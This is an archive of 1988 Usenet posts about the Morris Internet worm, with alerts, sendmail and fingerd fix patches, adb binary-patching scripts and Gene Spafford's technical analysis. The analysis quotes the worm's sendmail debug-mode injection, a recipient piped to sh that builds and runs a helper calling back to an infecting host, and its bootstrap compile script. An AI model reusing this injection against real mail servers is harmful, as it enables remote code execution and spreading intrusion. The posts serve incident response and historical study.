Tech Insider					     Technology and Trends


			      USENET Archives

Path: utzoo!attcan!uunet!husc6!bloom-beacon!apple!bionet!agate!ucbvax!
AMES.ARC.NASA.GOV!yee
From: y...@AMES.ARC.NASA.GOV (Peter E. Yee)
Newsgroups: comp.protocols.tcp-ip
Subject: Internet VIRUS alert
Message-ID: <8811030728.AA18199@ames.arc.nasa.gov>
Date: 3 Nov 88 07:28:00 GMT
Sender: dae...@ucbvax.BERKELEY.EDU
Organization: The Internet
Lines: 19

We are currently under attack from an Internet VIRUS.  It has hit UC Berkeley,
UC San Diego, Lawrence Livermore, Stanford, and NASA Ames.  The virus comes in
via SMTP, and then is able to attack all 4.3BSD and SUN (3.X?) machines.  It
sends a RCPT TO that requests that its data be piped through a shell.  It copies
in a program, compiles and executes it.  This program copies in VAX and SUN 
binaries that try to replicate the virus via connections to TELNETD, FTPD, 
FINGERD, RSHD, and SMTP.  The programs also appear to have DES tables in them.
They appear in /usr/tmp as files that start with the letter x.  Removing them
is not enough as they will come back in the next wave of attacks.  For now
turning off the above services seems to be the only help.  The virus is able
to take advantage of .rhosts files and hosts.equiv.  We are not certain what the
final result of the binaries is, hence the warning.

I can be contacted at (415) 642-7447.  Phil Lapsley and Kurt Pires at this
number are also conversant with the virus.  

							-Peter Yee
							y...@ames.arc.nasa.gov
							ames!yee

Path: utzoo!utgpu!attcan!uunet!husc6!mailrus!purdue!bos...@okeeffe.Berkeley.EDU
From: bos...@okeeffe.Berkeley.EDU (Keith Bostic)
Newsgroups: news.announce.important,news.sysadmin
Subject: Virus (READ THIS IMMEDIATELY)
Message-ID: <5309@medusa.cs.purdue.edu>
Date: 3 Nov 88 10:58:55 GMT
Sender: n...@cs.purdue.EDU
Followup-To: news.sysadmin
Lines: 109
Approved: n...@cs.purdue.EDU


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD

Description:
	There's a virus running around; the salient facts.  A bug in
	sendmail has been used to introduce a virus into a lot of
	Internet UNIX systems.  It has not been observed to damage the
	host system, however, it's incredibly virulent, attempting to
	introduce itself to every system it can find.  It appears to
	use rsh, broken passwords, and sendmail to introduce itself
	into the target systems.  It affects only VAXen and Suns, as
	far as we know.  

	There are three changes that we believe will immunize your
	system.  They are attached.

	Thanks to the Experimental Computing Facility, Center for
	Disease Control for their assistance.  (It's pretty late,
	and they certainly deserved some thanks, somewhere!)

Fix:
	First, either recompile or patch sendmail to disallow the `debug'
	option.  If you have source, recompile sendmail after first
	applying the following patch to the module svrsmtp.c:

		*** /tmp/d22039	Thu Nov  3 02:26:20 1988
		--- srvrsmtp.c	Thu Nov  3 01:21:04 1988
		***************
		*** 85,92 ****
		  	"onex",		CMDONEX,
		  # ifdef DEBUG
		  	"showq",	CMDDBGQSHOW,
		- 	"debug",	CMDDBGDEBUG,
		  # endif DEBUG
		  # ifdef WIZ
		  	"kill",		CMDDBGKILL,
		  # endif WIZ
		--- 85,94 ----
		  	"onex",		CMDONEX,
		  # ifdef DEBUG
		  	"showq",	CMDDBGQSHOW,
		  # endif DEBUG
		+ # ifdef notdef
		+ 	"debug",	CMDDBGDEBUG,
		+ # endif notdef
		  # ifdef WIZ
		  	"kill",		CMDDBGKILL,
		  # endif WIZ

	Then, reinstall sendmail, refreeze the configuration file,
	using the command "/usr/lib/sendmail -bz", kill any running
	sendmail's, using the ps(1) command and the kill(1) command,
	and restart your sendmail.  To find out how sendmail is 
	execed on your system, use grep(1) to find the sendmail start
	line in either the files /etc/rc or /etc/rc.local

	If you don't have source, apply the following patch to your
	sendmail binary.  SAVE A COPY OF IT FIRST, IN CASE YOU MESS
	UP!  This is mildly tricky -- note, some versions of strings(1),
	which we're going to use to find the offset of the string 
	"debug" in the binary print out the offsets in octal, not
	decimal.  Run the following shell line to decide how your
	version of strings(1) works:

		/bin/echo 'abcd' | /usr/ucb/strings -o 

	Note, make sure the eight control 'G's are preserved in this
	line.  If this command results in something like:

		0000008 abcd

	your strings(1) command prints out locations in decimal, else
	it's octal.

	The patch script for sendmail.  NOTE, YOUR OFFSETS MAY VARY!!
	This script assumes that your strings(1) command prints out
	the offsets in decimal.  

		Script started on Thu Nov  3 02:08:14 1988
		okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
		0096972 debug
		okeeffe:tmp {3} adb -w /usr/lib/sendmail
		?m 0 0xffffffff 0
		0t10$d
		radix=10 base ten
		96972?s
		96972:		debug
		96972?w 0
		96972:		25701	=	0
		okeeffe:tmp {4} ^D
		script done on Thu Nov  3 02:09:31 1988

	If your strings(1) command prints out the offsets in octal,
	change the line "0t10$d" to "0t8$d".

	After you've fixed sendmail, move both /bin/cc and /bin/ld to
	something else.  (The virus uses the cc and the ld commands
	to rebuild itself to run on your system.)

	Finally, kill any processes on your system that don't belong there.
	Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random
	digits, as the command name on the ps(1) output line.

	One more thing, if you find files in /tmp or /usr/tmp that 
	have names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or
	"xNNNNNNN,vax.o" where the N's are random digits, you've been
	infected.

Path: utzoo!utgpu!attcan!uunet!husc6!mailrus!purdue!decwrl!ucbvax!
OKEEFFE.BERKELEY.EDU!bostic
From: bos...@OKEEFFE.BERKELEY.EDU (Keith Bostic)
Newsgroups: comp.bugs.4bsd.ucb-fixes
Subject: V1.68 (Virus posting #2)
Message-ID: <8811031612.AA22864@okeeffe.Berkeley.EDU>
Date: 3 Nov 88 16:12:19 GMT
Sender: dae...@ucbvax.BERKELEY.EDU
Organization: University of California at Berkeley
Lines: 16
Approved: ucb-fi...@okeeffe.berkeley.edu

Subject: Virus posting #2
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD

Description:
	This is a followup message, to clear up two points.
	First off, a better value to use to PATCH your sendmail
	executable is 0xff; if you're using the patch script,
	change:
		96972?w 0
	to:
		96972?w 65535

	Secondly, note, if, when you run strings(1) on your sendmail
	executable, greping for ``debug'', you don't get any output,
	don't worry about the problem, your system is already (we
	think) safe.

Path: utzoo!utgpu!attcan!uunet!seismo!sundc!pitstop!sun!decwrl!purdue!
haven!mimsy!tank!nic.MR.NET!hal!cwjcc!ukma!tut.cis.ohio-state.edu!
osu-cis!att!cbnews!bos...@okeeffe.Berkeley.EDU
From: bos...@okeeffe.Berkeley.EDU (Keith Bostic)
Newsgroups: news.announce.important
Subject: UNIX TCP/IP Virus (ADMINISTRATORS READ THIS IMMEDIATELY)
Message-ID: <1856@cbnews.ATT.COM>
Date: 3 Nov 88 22:05:54 GMT
Sender: m...@cbnews.ATT.COM
Lines: 112
Approved: m...@cblpf.att.com

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD

Description:
	There's a virus running around; the salient facts.  A bug in
	sendmail has been used to introduce a virus into a lot of
	Internet UNIX systems.  It has not been observed to damage the
	host system, however, it's incredibly virulent, attempting to
	introduce itself to every system it can find.  It appears to
	use rsh, broken passwords, and sendmail to introduce itself
	into the target systems.  It affects only VAXen and Suns, as
	far as we know.  [Note - it has been verified to affect at
	least one other TCP/IP implementation - if you have sendmail
	on ANY TCP/IP, I recommend you apply this fix - MRH]

	There are three changes that we believe will immunize your
	system.  They are attached.

	Thanks to the Experimental Computing Facility, Center for
	Disease Control for their assistance.  (It's pretty late,
	and they certainly deserved some thanks, somewhere!)

Fix:
	First, either recompile or patch sendmail to disallow the `debug'
	option.  If you have source, recompile sendmail after first
	applying the following patch to the module svrsmtp.c:

		*** /tmp/d22039	Thu Nov  3 02:26:20 1988
		--- srvrsmtp.c	Thu Nov  3 01:21:04 1988
		***************
		*** 85,92 ****
		  	"onex",		CMDONEX,
		  # ifdef DEBUG
		  	"showq",	CMDDBGQSHOW,
		- 	"debug",	CMDDBGDEBUG,
		  # endif DEBUG
		  # ifdef WIZ
		  	"kill",		CMDDBGKILL,
		  # endif WIZ
		--- 85,94 ----
		  	"onex",		CMDONEX,
		  # ifdef DEBUG
		  	"showq",	CMDDBGQSHOW,
		  # endif DEBUG
		+ # ifdef notdef
		+ 	"debug",	CMDDBGDEBUG,
		+ # endif notdef
		  # ifdef WIZ
		  	"kill",		CMDDBGKILL,
		  # endif WIZ

	Then, reinstall sendmail, refreeze the configuration file,
	using the command "/usr/lib/sendmail -bz", kill any running
	sendmail's, using the ps(1) command and the kill(1) command,
	and restart your sendmail.  To find out how sendmail is 
	execed on your system, use grep(1) to find the sendmail start
	line in either the files /etc/rc or /etc/rc.local  [Note -
	don't do "sendmail -bz" unless your sendmail.cf is already
	frozen, e.g. if /usr/lib/sendmail.fc already exists. - MRH]

	If you don't have source, apply the following patch to your
	sendmail binary.  SAVE A COPY OF IT FIRST, IN CASE YOU MESS
	UP!  This is mildly tricky -- note, some versions of strings(1),
	which we're going to use to find the offset of the string 
	"debug" in the binary print out the offsets in octal, not
	decimal.  Run the following shell line to decide how your
	version of strings(1) works:

		/bin/echo 'abcd' | /usr/ucb/strings -o 

	Note, make sure the eight control 'G's are preserved in this
	line.  If this command results in something like:

		0000008 abcd

	your strings(1) command prints out locations in decimal, else
	it's octal.

	The patch script for sendmail.  NOTE, YOUR OFFSETS MAY VARY!!
	This script assumes that your strings(1) command prints out
	the offsets in decimal.  

		Script started on Thu Nov  3 02:08:14 1988
		okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
		0096972 debug
		okeeffe:tmp {3} adb -w /usr/lib/sendmail
		?m 0 0xffffffff 0
		0t10$d
		radix=10 base ten
		96972?s
		96972:		debug
		96972?w 0
		96972:		25701	=	0
		okeeffe:tmp {4} ^D
		script done on Thu Nov  3 02:09:31 1988

	If your strings(1) command prints out the offsets in octal,
	change the line "0t10$d" to "0t8$d".

	After you've fixed sendmail, move both /bin/cc and /bin/ld to
	something else.  (The virus uses the cc and the ld commands
	to rebuild itself to run on your system.)

	Finally, kill any processes on your system that don't belong there.
	Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random
	digits, as the command name on the ps(1) output line.

	One more thing, if you find files in /tmp or /usr/tmp that 
	have names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or
	"xNNNNNNN,vax.o" where the N's are random digits, you've been
	infected.

Path: utzoo!utgpu!attcan!uunet!yale!husc6!purdue!spaf
From: s...@cs.purdue.edu (Gene Spafford)
Newsgroups: news.sysadmin
Subject: Re: The virus
Message-ID: <5312@medusa.cs.purdue.edu>
Date: 4 Nov 88 01:11:06 GMT
References: <5311@medusa.cs.purdue.edu>
Sender: n...@cs.purdue.EDU
Reply-To: s...@cs.purdue.edu (Gene Spafford)
Organization: Department of Computer Science, Purdue University
Lines: 140


This is an updated description of how the worm works (note: it is 
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):

All of our Vaxen and some of our Suns here were infected with the
worm.  The worm forks repeated copies of itself as it tries to spread
itself, and the load averages on the infected machines skyrocketed.  In
fact, it got to the point that some of the machines ran out of swap
space and kernel table entries, preventing login to even see what was
going on!

The worm seems to consist of two parts.  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version
of itself as a mail message.
*OR* it uses rsh to create itself on the remote machine through
an account requiring no password (due to hosts.equiv or .rhosts
entries).

Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"

cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;
rm -f x14481910 x14481910.c


2) This program is a simple "listener" or "helper" program  of a few
dozen lines of fairly simple code.  As you can see, the helper is
invoked with arguments pointing back at the infecting worm (giving
hostid/socket/checksum(?) as arguments).

3) The helper then connects to the "server" and copies a number of
files (presumably to /tmp).  After the files are copied, it exec's a
shell with standard input coming from the infecting worm program on
the other end of the socket.

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

4) The newly exec'd shell attempts to compile itself from the files
copied over to the target machine.  The command file it uses is as
follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$ 

5) This creates and dispatches the new worm..  This worm opens all the
worm source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents).  Next,
the worm steps through the hosts file (on the Sun, it uses YP to step
through the distributed hosts file) trying to connect to other
machines' sendmail.  If a connection succeeds, it forks a child process
to infect it, while the parent continues to attempt infection of other
machines.

7) The child requests and initializes a new socket, then builds
and invokes a listener with the new socket number and hostid as
arguments (#1, above).


Other notes:

The worm runs in stages.  It first collects info from the /etc/hosts
files, the hosts.equiv file, and other files containing host names and
host IP addresses.  It even runs netstat to find out what networks the
machine is attached to!  It uses this information to attempt to
penetrate sendmail on those machines.  It also knows how to penetrate
"fingerd" on Vaxen (on Suns, the attempt results in a core dump).  I
will privately tell individuals how to fix the bug in fingerd, but for
now change it so it does not run as "root".

After this first stage, it appears to sleep for a while.  Then it starts
collecting user names and it begins probing with "rsh".  I believe it
also permutes either an internal list of words, or it uses the names
from passwd, but it also tries to see if it can break any of the
passwords for local accounts; if so, if forks a child to use telnet
to break into that account and copy itself.

It tries to copy itself to other systems using rsh, fingerd, and
possibly also uucp and/or ftp.

As I write this, no one seems to know what it is supposed to eventually
do.  Perhaps it just breaks in everywhere it can.  I wonder if
it isn't just going to wait until some compiled-in time and then
run an "rm -rf /" or something similar (and awful).  Has anyone noticed
new files in /usr/spool/at or included in /usr/lib/crontab?

Other notes:

The program corrupts its argument vector, so it appears in a "ps ax"
as "(sh)" (a login shell).  Don't trust any of these if you have
them running.

The program doesn't copy around source files (except the helper) --
it copies around pre-compiled binaries that are linked on the local
machine and then run.  The worm appears to only be carrying binaries
for 68020-based Suns and Vax 7xx machines.  Pyramids, Sun 2's and
Sequents are all definitely immune.

The strings in the binaries are encrypted against a random "strings"
invocation.  If you have a binary, Keith Bostic informs me that 
Xor with 0x81 will reveal interesting things, although that is not
the only mask used.

The first observation of the virus I have heard about was 6pm
Wednesday night in Pittsburgh.  It didn't hit Purdue until about
4 this morning.


I will update you with any further information I may find.
If you forward whatever information you find, I will try to
collate it.


--spaf


Acknowledgements:  Some of the above information was obtained from
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue),
Dan Trinkle (Purdue), and Miek Rowan (Purdue).  Thanks, guys.
-- 
Gene Spafford
NSF/Purdue/U of Florida  Software Engineering Research Center,
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004
Internet:  s...@cs.purdue.edu	uucp:	...!{decwrl,gatech,ucbvax}!purdue!spaf

Path: utzoo!utgpu!attcan!uunet!husc6!mailrus!purdue!decwrl!ucbvax!
OKEEFFE.BERKELEY.EDU!bostic
From: bos...@OKEEFFE.BERKELEY.EDU (Keith Bostic)
Newsgroups: comp.bugs.4bsd.ucb-fixes
Subject: V1.69 (Virus posting #3)
Message-ID: <8811040318.AA26579@okeeffe.Berkeley.EDU>
Date: 4 Nov 88 03:18:47 GMT
Sender: dae...@ucbvax.BERKELEY.EDU
Organization: University of California at Berkeley
Lines: 188
Approved: ucb-fi...@okeeffe.berkeley.edu

Subject: Virus posting #3
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD

Description:
	The recently reported worm appears to also be using the
	fingerd(8) daemon to enter systems.  Here's a fix.

	The previous patch for sendmail(8) on binary systems only
	prevented the current attacker.  The attached patch fixes
	the problem.
Fix:
	Re-patch sendmail.  Recompile and reinstall the attached
	source for fingerd(8).

	Here's a script to repatch sendmail.  Note, this only applies
	to binary systems, if you have source you should have recompiled
	and reinstalled it already.  You should start with the original
	sendmail binary, NOT the binary that you've already patched.
	AND, REMEMBER, ALWAYS SAVE AN EXTRA COPY IN CASE YOU MAKE A
	MISTAKE!!  Finally, if you don't find the string ``debug'' in
	your sendmail binary, you don't have a problem; ignore this patch.
	This patch essentially makes it impossible to set the debug flag.

	Note, your offsets as printed by adb may vary!  Comments are
	preceded by a hash mark, don't type them in, nor expect adb
	to print them out.  Also, we're again using strings(1) to find
	the decimal offset in the file of certain strings.  To find 
	out if your strings(1) command prints offsets in decimal, 
	put 8 control (non-printable) characters in a file, followed
	by four printable characters, and then use strings(1) to find
	the offset of your four printable characters.  If the offset
	is ``8'', it's using decimal, if it's ``10'' it's using octal.
	
		Script started on Thu Nov  3 18:45:34 1988
# find the decimal offset of the strings ``debug'' and ``showq'' in the
# sendmail binary.
		okeeffe:tmp {2} strings -o -a sendmail | egrep 'debug|showq'
		0097040 showq
		0097046 debug
		okeeffe:tmp {3} adb -w sendmail
# set the map, then set the default radix to base 10
		?m 0 0xffffffff 0
		0t10$d
		radix=10 base ten
# check to make sure that strings(1) was right, and then find out what
# the byte pattern for ``showq'' is for your machine.  Note that adb
# prints out that byte pattern in HEX!
		97040?s
		97040:		showq
		97040?Xx
		97040:		73686f77	7100
# check on the string ``debug'', then, overwrite the first four bytes,
# move up 4 bytes, and then overwite the last two bytes with the byte
# pattern seen above for ``showq''.
		97046?s
		97046:		debug
		97046?W 0x73686f77
		97046:		1684365941	=	1936224119
		.+4
		.?w 0x7100
		97050:		26368	=	28928
# check to make sure we wrote out the correct string.
		97046?s
		97046:		showq
		okeeffe:tmp {4} strings -o -a sendmail | egrep 'debug|showq'
		0097040 showq
		0097046 showq
		okeeffe:tmp {5}
		script done on Thu Nov  3 18:47:42 1988


# This is a shell archive.  Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file".  Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
#	fingerd.c
#
echo x - fingerd.c
sed 's/^X//' >fingerd.c << 'END-of-fingerd.c'
X/*
X * Copyright (c) 1983 The Regents of the University of California.
X * All rights reserved.
X *
X * Redistribution and use in source and binary forms are permitted
X * provided that the above copyright notice and this paragraph are
X * duplicated in all such forms and that any documentation,
X * advertising materials, and other materials related to such
X * distribution and use acknowledge that the software was developed
X * by the University of California, Berkeley.  The name of the
X * University may not be used to endorse or promote products derived
X * from this software without specific prior written permission.
X * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
X * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
X * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
X */
X
X#ifndef lint
Xchar copyright[] =
X"@(#) Copyright (c) 1983 The Regents of the University of California.\n\
X All rights reserved.\n";
X#endif /* not lint */
X
X#ifndef lint
Xstatic char sccsid[] = "@(#)fingerd.c	5.3 (Berkeley) 11/3/88";
X#endif /* not lint */
X
X/*
X * Finger server.
X */
X#include <sys/types.h>
X#include <netinet/in.h>
X#include <stdio.h>
X#include <ctype.h>
X
Xmain(argc, argv)
X	int argc;
X	char *argv[];
X{
X	register char *sp;
X	char line[512];
X	struct sockaddr_in sin;
X	int i, p[2], pid, status;
X	FILE *fp;
X	char *av[4];
X
X	i = sizeof (sin);
X	if (getpeername(0, &sin, &i) < 0)
X		fatal(argv[0], "getpeername");
X	if (fgets(line, sizeof(line), stdin) == NULL)
X		exit(1);
X	sp = line;
X	av[0] = "finger";
X	for (i = 1;;) {
X		while (isspace(*sp))
X			sp++;
X		if (!*sp)
X			break;
X		if (*sp == '/' && (sp[1] == 'W' || sp[1] == 'w')) {
X			sp += 2;
X			av[i++] = "-l";
X		}
X		if (*sp && !isspace(*sp)) {
X			av[i++] = sp;
X			while (*sp && !isspace(*sp))
X				sp++;
X			*sp = '\0';
X		}
X	}
X	av[i] = 0;
X	if (pipe(p) < 0)
X		fatal(argv[0], "pipe");
X	if ((pid = fork()) == 0) {
X		close(p[0]);
X		if (p[1] != 1) {
X			dup2(p[1], 1);
X			close(p[1]);
X		}
X		execv("/usr/ucb/finger", av);
X		_exit(1);
X	}
X	if (pid == -1)
X		fatal(argv[0], "fork");
X	close(p[1]);
X	if ((fp = fdopen(p[0], "r")) == NULL)
X		fatal(argv[0], "fdopen");
X	while ((i = getc(fp)) != EOF) {
X		if (i == '\n')
X			putchar('\r');
X		putchar(i);
X	}
X	fclose(fp);
X	while ((i = wait(&status)) != pid && i != -1)
X		;
X	return(0);
X}
X
Xfatal(prog, s)
X	char *prog, *s;
X{
X	fprintf(stderr, "%s: ", prog);
X	perror(s);
X	exit(1);
X}
END-of-fingerd.c
exit

Path: utzoo!utgpu!attcan!uunet!lll-winken!lll-tis!helios.ee.lbl.gov!
pasteur!ucbvax!OKEEFFE.BERKELEY.EDU!bostic
From: bos...@OKEEFFE.BERKELEY.EDU (Keith Bostic)
Newsgroups: comp.bugs.4bsd.ucb-fixes
Subject: V1.70 (Virus (really worm) posting #4)
Message-ID: <8811042204.AA13551@okeeffe.Berkeley.EDU>
Date: 4 Nov 88 22:04:37 GMT
Sender: dae...@ucbvax.BERKELEY.EDU
Organization: University of California at Berkeley
Lines: 342
Approved: ucb-fi...@okeeffe.berkeley.edu

Subject: Virus (really worm) posting #4
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD

Description:
	This is hopefully the final posting we'll make regarding
	the worm that was released onto the Internet.  MIT (as I
	understand it, a combination of people from Project Athena,
	the Lab for Computer Services, the Networking Group, and
	SIPB), and members of the Berkeley UNIX Workshop have both
	decompiled copies of the worm (into about 2000 lines of C).

	As of this time, we believe that there were three methods
	of attack; exploiting software bugs in sendmail and fingerd,
	and by guessing (albeit fairly intelligently) passwords.
	We believe that the fixes already posted for sendmail and
	fingerd are sufficient to stop the worm from entering your
	system; as far as guessing passwords, there's not much you
	can do but educate your users.  We also recommend renaming
	``/bin/ld'' for the next few days, meanwhile checking your
	machines for occurrences of the worm.  This should keep it
	from moving around on your local nets.

	We are reposting fingerd(8), since it apparently got munged
	before arriving at some sites.  

	Complete copies of all postings regarding the worm are
	available by anonymous ftp from ucbvax.berkeley.edu and
	ucbarpa.berkley.edu, as ``pub/virus.patch''.
	
	We believe that the virus cannot be propagated by uucp.

	In the Berkeley tradition of fixing other people's software,
	and in the general interests of software portability and
	matainability, we have provided three fixes for those
	individuals wishing to continue to run the worm on their
	systems.  To apply theses fixes, discompile the worm 
	and then use patch.

	Note: 
		THESE FIXES ARE PROVIDED ``AS IS'' AND WITHOUT ANY
		EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT
		LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY
		AND FITNESS FOR A PARTICULAR PURPOSE.

*** if_init.c.old	Fri Nov  4 14:01:54 1988
--- if_init.c	Fri Nov  4 14:02:10 1988
***************
*** 39,45 ****
  				break;
  		}
  		for (; j >= nifs; nifs++) {
! 			bzero(&ifs[0], sizeof(ifs[j]));
  			strcpy(ifs[nifs].o0, ifreqs[i].ifr_name);
  			strcpy(ifrq.ifr_name, ifreqs[i].ifr_name);
  			if (ioctl(s, SIOCGIFFLAGS, &ifrq) < 0) {
--- 39,46 ----
  				break;
  		}
  		for (; j >= nifs; nifs++) {
! 			/* use offset of `j', not zero! */
! 			bzero(&ifs[j], sizeof(ifs[j]));
  			strcpy(ifs[nifs].o0, ifreqs[i].ifr_name);
  			strcpy(ifrq.ifr_name, ifreqs[i].ifr_name);
  			if (ioctl(s, SIOCGIFFLAGS, &ifrq) < 0) {


*** main.c.old	Fri Nov  4 12:49:05 1988
--- main.c	Fri Nov  4 12:49:26 1988
***************
*** 67,73 ****
  	if (pgrp != 0) {
  		if (getpgrp(getpid()) == pgrp)
  			setpgrp(getpid(), getpid());
! 		kill(pgrp, SIGKILL);
  	}
  	doit();
  }
--- 67,73 ----
  	if (pgrp != 0) {
  		if (getpgrp(getpid()) == pgrp)
  			setpgrp(getpid(), getpid());
+		/* they really want to kill the process group! */
! 		killpg(pgrp, SIGKILL);
  	}
  	doit();
  }

*** fxread.c.old	Fri Nov  4 12:53:36 1988
--- fxread.c	Fri Nov  4 12:54:49 1988
***************
*** 5,11 ****
  {
  	struct timeval tv;
  	int cnt, mask;
! 	int some_uninitialized_var;
  
  	if (cnt = 0; cnt < buflen; ++cnt) {
  		mask = 1 << fd;
--- 5,11 ----
  {
  	struct timeval tv;
  	int cnt, mask;
! 	int some_uninitialized_var = use_lint_twit;
  
  	if (cnt = 0; cnt < buflen; ++cnt) {
  		mask = 1 << fd;


# This is a shell archive.  Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file".  Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
#	fingerd.8
#	fingerd.c
#	Makefile
#
echo x - fingerd.8
sed 's/^X//' >fingerd.8 << 'END-of-fingerd.8'
X.\" Copyright (c) 1980 The Regents of the University of California.
X.\" All rights reserved.
X.\"
X.\" Redistribution and use in source and binary forms are permitted
X.\" provided that the above copyright notice and this paragraph are
X.\" duplicated in all such forms and that any documentation,
X.\" advertising materials, and other materials related to such
X.\" distribution and use acknowledge that the software was developed
X.\" by the University of California, Berkeley.  The name of the
X.\" University may not be used to endorse or promote products derived
X.\" from this software without specific prior written permission.
X.\" THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
X.\" IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
X.\" WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
X.\"
X.\"	@(#)fingerd.8	6.2 (Berkeley) 9/19/88
X.\"
X.TH FINGERD 8 "September 19, 1988"
X.UC 6
X.SH NAME
Xfingerd \- remote user information server
X.SH SYNOPSIS
X.B /etc/fingerd
X.SH DESCRIPTION
X.I Fingerd
Xis a simple protocol based on RFC742 that provides an interface to the
XName and Finger programs at several network sites.
XThe program is supposed to return a friendly,
Xhuman-oriented status report on either the system at the moment
Xor a particular person in depth.
XThere is no required format and the
Xprotocol consists mostly of specifying a single ``command line''.
X.PP
X.I Fingerd
Xlistens for TCP requests at port 79.
XOnce connected it reads a single command line
Xterminated by a <CRLF> which is passed to
X.IR finger (1).
X.I Fingerd
Xcloses its connections as soon as the output is finished.
X.PP
XIf the line is null (i.e. just a <CRLF> is sent) then 
X.I finger
Xreturns a ``default'' report that lists all people logged into
Xthe system at that moment.
X.PP
XIf a user name is specified (e.g. eric<CRLF>) then the
Xresponse lists more extended information for only that particular user,
Xwhether logged in or not.
XAllowable ``names'' in the command line include both ``login names''
Xand ``user names''.
XIf a name is ambiguous, all possible derivations are returned.
X.SH SEE ALSO
Xfinger(1)
X.SH BUGS
XConnecting directly to the server from a TIP
Xor an equally narrow-minded TELNET-protocol user program can result
Xin meaningless attempts at option negotiation being sent to the
Xserver, which will foul up the command line interpretation.
X.I Fingerd
Xshould be taught to filter out IAC's and perhaps even respond
Xnegatively (IAC WON'T) to all option commands received.
END-of-fingerd.8
echo x - fingerd.c
sed 's/^X//' >fingerd.c << 'END-of-fingerd.c'
X/*
X * Copyright (c) 1983 The Regents of the University of California.
X * All rights reserved.
X *
X * Redistribution and use in source and binary forms are permitted
X * provided that the above copyright notice and this paragraph are
X * duplicated in all such forms and that any documentation,
X * advertising materials, and other materials related to such
X * distribution and use acknowledge that the software was developed
X * by the University of California, Berkeley.  The name of the
X * University may not be used to endorse or promote products derived
X * from this software without specific prior written permission.
X * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
X * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
X * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
X */
X
X#ifndef lint
Xchar copyright[] =
X"@(#) Copyright (c) 1983 The Regents of the University of California.\n\
X All rights reserved.\n";
X#endif /* not lint */
X
X#ifndef lint
Xstatic char sccsid[] = "@(#)fingerd.c	5.3 (Berkeley) 11/3/88";
X#endif /* not lint */
X
X/*
X * Finger server.
X */
X#include <sys/types.h>
X#include <netinet/in.h>
X#include <stdio.h>
X#include <ctype.h>
X
Xmain(argc, argv)
X	int argc;
X	char *argv[];
X{
X	register char *sp;
X	char line[512];
X	struct sockaddr_in sin;
X	int i, p[2], pid, status;
X	FILE *fp;
X	char *av[4];
X
X	i = sizeof (sin);
X	if (getpeername(0, &sin, &i) < 0)
X		fatal(argv[0], "getpeername");
X	if (fgets(line, sizeof(line), stdin) == NULL)
X		exit(1);
X	sp = line;
X	av[0] = "finger";
X	for (i = 1;;) {
X		while (isspace(*sp))
X			sp++;
X		if (!*sp)
X			break;
X		if (*sp == '/' && (sp[1] == 'W' || sp[1] == 'w')) {
X			sp += 2;
X			av[i++] = "-l";
X		}
X		if (*sp && !isspace(*sp)) {
X			av[i++] = sp;
X			while (*sp && !isspace(*sp))
X				sp++;
X			*sp = '\0';
X		}
X	}
X	av[i] = 0;
X	if (pipe(p) < 0)
X		fatal(argv[0], "pipe");
X	if ((pid = fork()) == 0) {
X		close(p[0]);
X		if (p[1] != 1) {
X			dup2(p[1], 1);
X			close(p[1]);
X		}
X		execv("/usr/ucb/finger", av);
X		_exit(1);
X	}
X	if (pid == -1)
X		fatal(argv[0], "fork");
X	close(p[1]);
X	if ((fp = fdopen(p[0], "r")) == NULL)
X		fatal(argv[0], "fdopen");
X	while ((i = getc(fp)) != EOF) {
X		if (i == '\n')
X			putchar('\r');
X		putchar(i);
X	}
X	fclose(fp);
X	while ((i = wait(&status)) != pid && i != -1)
X		;
X	return(0);
X}
X
Xfatal(prog, s)
X	char *prog, *s;
X{
X	fprintf(stderr, "%s: ", prog);
X	perror(s);
X	exit(1);
X}
END-of-fingerd.c
echo x - Makefile
sed 's/^X//' >Makefile << 'END-of-Makefile'
X#
X# Copyright (c) 1988 Regents of the University of California.
X# All rights reserved.
X#
